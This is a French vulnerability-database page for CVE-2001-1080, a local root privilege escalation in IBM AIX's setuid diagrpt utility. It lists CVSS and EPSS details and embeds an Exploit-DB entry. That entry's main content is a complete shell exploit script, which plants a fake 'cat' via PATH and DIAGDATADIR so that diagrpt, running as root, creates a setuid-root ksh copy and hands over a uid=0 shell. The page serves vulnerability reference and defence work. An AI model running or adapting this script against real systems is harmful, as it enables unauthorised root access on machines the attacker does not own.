CVE-2001-1080 : Détail

CVE-2001-1080

4.21%V3
Network
2002-03-09
04h00 +00:00
2002-02-27
23h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

diagrpt in AIX 4.3.x and 5.1 uses the DIAGDATADIR environment variable to find and execute certain programs, which allows local users to gain privileges by modifying the variable to point to a Trojan horse program.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 20965

Date de publication : 2003-05-22 22h00 +00:00
Auteur : watercloud
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2916/info AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default. When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root. An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. #!/bin/sh # FileName: x_diagrpt.sh # Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell. # Tested : on Aix4.3.3 & Aix5.1. # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-5-23 # Announce: use as your owner risk! # # Note : # It does not work on all versions of tsm command. # Use this command to test if your version can exploit or not : # bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat # diagrpt.cat # cat %s <--- here ! have the bug !!! can exploit! # O_DIR=`/bin/pwd` cd /tmp ; mkdir .ex$$ ; cd .ex$$ PATH=/tmp/.ex$$:$PATH ; export PATH /bin/cat >cat<<EOF #!/bin/ksh -p cp /bin/ksh ./kfsh chown root ./kfsh chmod 777 ./kfsh chmod u+s ./kfsh EOF chmod a+x cat DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR touch /tmp/.ex$$/diagrpt1.dat /usr/lpp/diagnostics/bin/diagrpt -o 010101 stty echo stty intr '^C' erase '^H' eof '^D' eol '^@' if [ -e ./kfsh ] ;then echo "" echo "====================" pwd ls -l ./kfsh echo "Exploit ok ! Use this command to get a uid=0 shell :" echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" ' ./kfsh else echo "" echo "Exploit false !!!!" fi cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR #EOF

Products Mentioned

Configuraton 0

Ibm>>Aix >> Version 4.3

Ibm>>Aix >> Version 5.1

Références

http://www.securityfocus.com/bid/2916
Tags : vdb-entry, x_refsource_BID